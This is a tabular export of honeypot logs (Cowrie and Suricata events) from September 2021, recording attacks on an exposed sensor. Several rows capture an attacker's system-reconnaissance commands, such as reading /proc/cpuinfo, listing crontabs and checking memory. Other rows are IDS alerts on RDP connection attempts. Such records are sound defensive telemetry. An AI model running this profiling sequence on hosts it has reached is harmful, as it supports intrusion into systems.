34022	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:22.266217+03	2021-09-20 15:00:06.598162+03	{"_id": "GQYSA3wBvYTbRNuETFNh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:22.266217Z", "@timestamp": "2021-09-20T11:58:22.266Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
34023	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:58:23.2185+03	2021-09-20 15:00:06.599162+03	{"_id": "HQYSA3wBvYTbRNuETVOL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:58:20.475849+0000", "pkts_toclient": 5, "pkts_toserver": 4, "bytes_toclient": 332, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 817901214646985, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 53764, "dest_port": 3389, "timestamp": "2021-09-20T11:58:23.218500Z", "@timestamp": "2021-09-20T11:58:23.218Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
34024	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:23.301141+03	2021-09-20 15:00:06.600161+03	{"_id": "IQYSA3wBvYTbRNuEUFNL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:23.301141Z", "@timestamp": "2021-09-20T11:58:23.301Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
34025	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:23.903106+03	2021-09-20 15:00:06.601163+03	{"_id": "IgYSA3wBvYTbRNuEUFNL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "183.17.231.81", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.6025958061218262, "duplicate": true, "timestamp": "2021-09-20T11:58:23.903106Z", "@timestamp": "2021-09-20T11:58:23.903Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
34026	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:24.893556+03	2021-09-20 15:00:06.602161+03	{"_id": "IwYSA3wBvYTbRNuEVFMy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "183.17.231.81", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.6036772727966309, "duplicate": true, "timestamp": "2021-09-20T11:58:24.893556Z", "@timestamp": "2021-09-20T11:58:24.893Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
34027	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:24.290558+03	2021-09-20 15:00:06.604162+03	{"_id": "JQYSA3wBvYTbRNuEVFMy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:24.290558Z", "@timestamp": "2021-09-20T11:58:24.290Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
34028	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:24.291103+03	2021-09-20 15:00:06.606162+03	{"_id": "JgYSA3wBvYTbRNuEVFMy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:24.291103Z", "@timestamp": "2021-09-20T11:58:24.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
34029	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:25.305136+03	2021-09-20 15:00:06.607162+03	{"_id": "JwYSA3wBvYTbRNuEWFMa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:25.305136Z", "@timestamp": "2021-09-20T11:58:25.305Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
34030	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:25.305701+03	2021-09-20 15:00:06.608163+03	{"_id": "KAYSA3wBvYTbRNuEWFMa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:25.305701Z", "@timestamp": "2021-09-20T11:58:25.305Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
34031	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:25.906343+03	2021-09-20 15:00:06.609163+03	{"_id": "KQYSA3wBvYTbRNuEWFMa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 22, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "183.17.231.81", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.6012904644012451, "duplicate": true, "timestamp": "2021-09-20T11:58:25.906343Z", "@timestamp": "2021-09-20T11:58:25.906Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
34032	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:21.824431+03	2021-09-20 15:00:06.610161+03	{"_id": "EwYSA3wBvYTbRNuESFN6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "183.17.231.81", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.602158784866333, "duplicate": true, "timestamp": "2021-09-20T11:58:21.824431Z", "@timestamp": "2021-09-20T11:58:21.824Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
34033	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:58:21.872267+03	2021-09-20 15:00:06.611162+03	{"_id": "FQYSA3wBvYTbRNuESVOi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:58:20.475849+0000", "pkts_toclient": 4, "pkts_toserver": 3, "bytes_toclient": 259, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 817901214646985, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 53764, "timestamp": "2021-09-20T11:58:21.872267Z", "@timestamp": "2021-09-20T11:58:21.872Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
34034	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:58:23.2185+03	2021-09-20 15:00:06.613161+03	{"_id": "HgYSA3wBvYTbRNuETVOL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:58:20.475849+0000", "pkts_toclient": 5, "pkts_toserver": 4, "bytes_toclient": 332, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 817901214646985, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 53764, "dest_port": 3389, "timestamp": "2021-09-20T11:58:23.218500Z", "@timestamp": "2021-09-20T11:58:23.218Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
34035	157.240.9.54	109.199.241.180	Suricata	2021-09-20 14:58:23.136403+03	2021-09-20 15:00:06.614162+03	{"_id": "HAYSA3wBvYTbRNuETVOL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:58:23.136403+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.54", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.54", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 976473554883795, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 5222, "dest_port": 37376, "timestamp": "2021-09-20T11:58:23.136403Z", "@timestamp": "2021-09-20T11:58:23.136Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34036	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:23.300596+03	2021-09-20 15:00:06.615162+03	{"_id": "IAYSA3wBvYTbRNuEUFNL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:23.300596Z", "@timestamp": "2021-09-20T11:58:23.300Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
34037	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:24.289966+03	2021-09-20 15:00:06.616162+03	{"_id": "JAYSA3wBvYTbRNuEVFMy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:24.289966Z", "@timestamp": "2021-09-20T11:58:24.289Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
34038	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:58:21.83594+03	2021-09-20 15:00:06.617163+03	{"_id": "FgYSA3wBvYTbRNuESVOi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:58:20.475849+0000", "pkts_toclient": 2, "pkts_toserver": 3, "bytes_toclient": 132, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 817901214646985, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 53764, "dest_port": 3389, "timestamp": "2021-09-20T11:58:21.835940Z", "@timestamp": "2021-09-20T11:58:21.835Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
34039	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:22.887205+03	2021-09-20 15:00:06.619162+03	{"_id": "GAYSA3wBvYTbRNuETFNh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "183.17.231.81", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.6210718154907227, "duplicate": true, "timestamp": "2021-09-20T11:58:22.887205Z", "@timestamp": "2021-09-20T11:58:22.887Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
34040	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:22.266761+03	2021-09-20 15:00:06.620163+03	{"_id": "GgYSA3wBvYTbRNuETFNh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:22.266761Z", "@timestamp": "2021-09-20T11:58:22.266Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
34041	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:58:22.880205+03	2021-09-20 15:00:06.621161+03	{"_id": "GwYSA3wBvYTbRNuETVOL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:58:20.475849+0000", "pkts_toclient": 5, "pkts_toserver": 3, "bytes_toclient": 332, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 817901214646985, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 53764, "timestamp": "2021-09-20T11:58:22.880205Z", "@timestamp": "2021-09-20T11:58:22.880Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
34042	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:16.678893+03	2021-09-20 15:00:06.622162+03	{"_id": "7gYSA3wBvYTbRNuENFLw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "183.17.231.81", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.6001734733581543, "duplicate": true, "timestamp": "2021-09-20T11:58:16.678893Z", "@timestamp": "2021-09-20T11:58:16.678Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
